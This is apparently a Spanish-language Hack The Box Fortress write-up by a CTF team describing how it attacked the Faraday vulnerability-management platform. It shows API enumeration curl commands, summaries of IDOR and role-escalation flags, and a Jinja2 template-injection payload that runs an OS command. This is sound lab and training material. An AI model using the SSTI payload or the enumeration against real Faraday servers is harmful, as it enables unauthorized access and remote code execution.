BÓVEDA DE CREDENCIALES
Hack The Box HARD Fortress
HTB Fortress — Respected by Faraday
Flippermen | CyberFlippers | UDLA-Cyber
| Campo | Valor |
|---|---|
| Fortress | Faraday |
| Badge | Respected by Faraday |
| Completado | 15 Mar, 2025 |
| Rarity | 0.05% de usuarios |
Sobre Faraday
Faraday es una plataforma de gestión de vulnerabilidades utilizada por equipos de pentesting en entornos de producción real. Centraliza hallazgos, evidencias y reportes de engagements de seguridad ofensiva a escala empresarial.
El Fortress — La Ironía
El Fortress de Faraday tiene una ironía bien ejecutada: pone a prueba la capacidad de encontrar debilidades en un sistema diseñado específicamente para rastrear y gestionar vulnerabilidades.
Completarlo implica pensar como alguien que conoce íntimamente el producto — y explotar exactamente eso.
Metodología Aplicada
1. Fingerprinting de Faraday
# Reconocimiento de versión y componentes
curl -s http://<IP>/_api/info | python3 -m json.tool
curl -s http://<IP>/_api/v3/info
# Identificar versión específica para buscar CVEs
whatweb http://<IP> --log-verbose=whatweb.log
2. Análisis de la API REST
# Enumeración de workspaces
curl -s http://<IP>/_api/v3/ws
# Endpoints de usuarios
curl -s http://<IP>/_api/v3/users -H "Authorization: Bearer <token>"
# Vulns y evidencias
curl -s http://<IP>/_api/v3/ws/<workspace>/vulns
Vectores investigados:
- Acceso sin autenticación a workspaces de auditoría
- Escalación de privilegios entre roles (viewer → pentester → admin)
- Inyección en campos de reporte (SSTI potencial)
- Exposición de credentials almacenadas en evidencias
3. SSTI Testing en Campos de Reporte
# Payload de prueba SSTI (Jinja2)
payload = "{{7*7}}" # Si retorna 49, es vulnerable
# Escalación a RCE
ssti_rce = "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
4. Flags del Fortress
- Flag 1 — Acceso inicial a workspace de otro equipo (IDOR)
- Flag 2 — Escalación a rol de admin dentro de la plataforma
- Flag 3 — Acceso al servidor subyacente mediante explotación de funcionalidad avanzada
Key Takeaways
- Conocer el producto es ventaja — La documentación pública de Faraday es el mejor mapa del entorno.
- La superficie de ataque escala con la complejidad — Sistemas sofisticados tienen más funcionalidad = más vectores posibles.
- Los roles importan — La escalación horizontal (workspace a workspace) es tan crítica como la vertical.
- Los campos de texto son vectores — Cualquier campo que renderice contenido merece atención especial.
Flippermen HackTheBox — Platinum Tier | #1 Ecuador | CyberFlippers | UDLA-Cyber